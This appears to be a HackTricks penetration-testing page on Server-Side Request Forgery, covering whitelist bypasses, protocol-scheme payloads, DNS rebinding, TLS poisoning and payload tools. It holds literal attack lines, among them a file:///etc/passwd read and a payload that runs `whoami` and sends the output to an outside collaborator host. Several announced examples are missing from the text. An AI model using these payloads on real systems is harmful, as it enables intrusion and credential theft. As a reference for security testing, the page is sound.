SSRF (Server Side Request Forgery)
Last updated
Last updated
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
A Server-side Request Forgery (SSRF) vulnerability occurs when an attacker manipulates a server-side application into making HTTP requests to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.
The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as:
Burp Collaborator
https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Usually you will find that the SSRF is only working in certain whitelisted domains or URL. In the following page you have a compilation of techniques to try to bypass that whitelist:
URL Format BypassIf the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource. Read more here: https://portswigger.net/web-security/ssrf
file://
The URL scheme file:// is referenced, pointing directly to /etc/passwd: file:///etc/passwd
dict://
The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: url=sftp://generic.com:11111/
TFTP://
Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.
Curl URL globbing - WAF bypass
If the SSRF is executed by curl, curl has a feature called URL globbing that could be useful to bypass WAFs. For example in this writeup you can find this example for a path traversal via file protocol:
Gopher://
The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:
Using this protocol you can specify the IP, port and bytes you want the server to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first). Fortunately, you can use Gopherus to create payloads for several services. Additionally, remote-method-guesser can be used to create gopher payloads for Java RMI services.
Gopher smtp
Gopher HTTP
Gopher SMTP — Back connect to 1337
Analytics software on servers often logs the Referrer header to track incoming links, a practice that inadvertently exposes applications to Server-Side Request Forgery (SSRF) vulnerabilities. This is because such software may visit external URLs mentioned in the Referrer header to analyze referral site content. To uncover these vulnerabilities, the Burp Suite plugin "Collaborator Everywhere" is advised, leveraging the way analytics tools process the Referer header to identify potential SSRF attack surfaces.
A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:
In this configuration, the value from the Server Name Indication (SNI) field is directly utilized as the backend's address. This setup exposes a vulnerability to Server-Side Request Forgery (SSRF), which can be exploited by merely specifying the desired IP address or domain name in the SNI field. An exploitation example to force a connection to an arbitrary backend, such as internal.host.com, using the openssl command is given below:
It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
Check the following page for vulnerable PHP and even Wordpress functions:
PHP SSRFFor some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Tricks from this post.
Flask allows to use @ as initial character, which allows to make the initial host name the username and inject a new one. Attack request:
Vulnerable code:
It was discovered that It's possible to start the path of a request with character ; which allows to use then @ and inject a new host to access. Attack request:
PHP allows the use of the char * before a slash in the path of the URL, however, it has other limitations like that it can only be used for the root pathname / and that dots . are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example:
If you are having problems to exfiltrate content from a local IP because of CORS/SOP, DNS Rebidding can be used to bypass that limitation:
CORS - Misconfigurations & BypassSingularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
Check out also the publicly running server in http://rebind.it/singularity.html
Requirements:
SSRF
Outbound TLS sessions
Stuff on local ports
Attack:
Ask the user/bot access a domain controlled by the attacker
The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
In the DNS request a private IP address is given now (127.0.0.1 for example)
The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same). To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/ For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
Cloud SSRFSeveral known platforms contains or has contained SSRF vulnerabilities, check them in:
SSRF Vulnerable PlatformsTool to detect and exploit SSRF vulnerabilities
This tool generates Gopher payloads for:
MySQL
PostgreSQL
FastCGI
Redis
Zabbix
Memcache
remote-method-guesser is a Java RMI vulnerability scanner that supports attack operations for most common Java RMI vulnerabilities. Most of the available operations support the --ssrf option, to generate an SSRF payload for the requested operation. Together with the --gopher option, ready to use gopher payloads can be generated directly.
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
